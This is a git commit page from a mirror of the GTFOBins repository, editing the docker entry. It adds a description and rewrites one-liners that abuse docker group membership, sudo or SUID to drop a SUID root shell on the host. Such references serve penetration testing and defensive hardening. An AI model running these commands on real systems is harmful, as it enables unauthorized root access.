mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Make docker disposable, use sh instead of bash and add description
This commit is contained in:
parent
7219385a05
commit
c20ade4551
@ -1,7 +1,19 @@
|
||||
---
|
||||
description: |
|
||||
Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, i.e., being in the `docker` group.
|
||||
|
||||
This creates a SUID shell in the guest file system. Any other Linux images should work, e.g., `debian`.
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
|
||||
- code: |
|
||||
docker run --rm -v /home/$USER:/h_docs ubuntu \
|
||||
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
|
||||
sudo-enabled:
|
||||
- code: sudo docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
|
||||
- code: |
|
||||
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
|
||||
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
|
||||
suid-enabled:
|
||||
- code: |
|
||||
./docker run --rm -v /home/$USER:/h_docs ubuntu \
|
||||
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user